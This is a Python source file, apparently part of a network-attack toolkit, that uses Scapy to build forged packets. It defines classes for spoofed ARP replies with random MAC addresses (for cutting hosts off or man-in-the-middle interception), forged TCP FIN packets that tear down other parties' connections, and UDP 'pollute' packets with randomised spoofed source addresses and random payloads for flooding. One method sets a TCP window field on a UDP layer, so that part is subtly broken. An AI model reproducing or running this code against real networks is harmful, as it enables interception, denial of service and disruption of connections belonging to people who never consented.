from scapy.all import (
    Ether,
    ARP,
    IP,
    TCP,
    UDP,
    ICMP
)
from packet import BasicPacket
from hackrandom import *

class MitmPacket(BasicPacket):
    def __init__(self):
        super(MitmPacket, self).__init__(
            Ether(),
            ARP(),
            layernum = 2
        )

class ArpCutPacket(BasicPacket):
    def __init__(self, psrc:str, **kwargs):
        super(ArpCutPacket, self).__init__(
            Ether(
                src = randmac(),
                dst = randmac()
            ),
            ARP(
                hwsrc = kwargs.get('hwsrc', ''),
                psrc = psrc,
                hwdst = kwargs.get("hwdst", ''),
                pdst = kwargs.get("pdst", 0),
                op = 2
            ),
            layernum = 2
        )
    
    def prepare(self, kwargs:dict):
        self.__packets__[0].src = kwargs.get('src', randmac())
        self.__packets__[0].dst = kwargs.get('dst', randmac())
        self.__packets__[1].hwsrc = kwargs.get('hwsrc', randmac())
        self.__packets__[1].psrc = kwargs.get('psrc', self.__packets__[1].psrc)
        self.__packets__[1].hwdst = kwargs.get('hwdst', randmac())
        self.__packets__[1].pdst = kwargs.get('pdst', randip())
        return self.packet(
            kwargs.get('data', False)
        )

class FinCutPacket(BasicPacket):
    def __init__(self, src:str, dst:str, sport:int, dport:int, **kwargs):
        super(FinCutPacket, self).__init__(
            IP(
                src = src,
                dst = dst,
                ttl = kwargs.get('ttl', 0)
            ),
            TCP(
                sport = sport,
                dport = dport,
                window = kwargs.get('window', 0),
                flags = 'F'
            ),
            layernum = 3
        )
    
    def prepare(self, kwargs:dict):
        self.__packets__[0].src = kwargs.get('src', self.__packets__[0].src)
        self.__packets__[0].dst = kwargs.get('dst', self.__packets__[0].dst)
        self.__packets__[0].ttl = kwargs.get('ttl', self.__packets__[0].ttl or randttl())
        self.__packets__[1].sport = kwargs.get('sport', self.__packets__[1].sport)
        self.__packets__[1].dport = kwargs.get('dport', self.__packets__[1].dport)
        self.__packets__[1].window = kwargs.get('window', self.__packets__[1].window or randwindow())
        return self.packet(
            kwargs.get('data', False)
        )

class TcpPollutePacket(BasicPacket):
    def __init__(self):
        super(TcpPollutePacket, self).__init__(
            IP(),
            TCP(),
            layernum = 3
        )

class UdpPollutePacket(BasicPacket):
    def __init__(self, dst:str, dport:int, **kwargs):
        super(UdpPollutePacket, self).__init__(
            IP(
                src = kwargs.get('src', randip()),
                dst = dst,
                ttl = kwargs.get('ttl', randttl())
            ),
            UDP(
                sport = kwargs.get('sport', randport()),
                dport = dport
            ),
            layernum = 3
        )
    
    def prepare(self, kwargs:dict):
        self.__packets__[0].src = kwargs.get('src', randip())
        self.__packets__[0].dst = kwargs.get('dst', self.__packets__[0].dst)
        self.__packets__[0].ttl = kwargs.get('ttl', randttl())
        self.__packets__[1].sport = kwargs.get('sport', randport())
        self.__packets__[1].dport = kwargs.get('dport', self.__packets__[1].dport)
        self.__packets__[1].window = kwargs.get('window', randwindow())
        return self.packet(
            kwargs.get('data', randbytes(kwargs.get('data_amount', 100)))
        )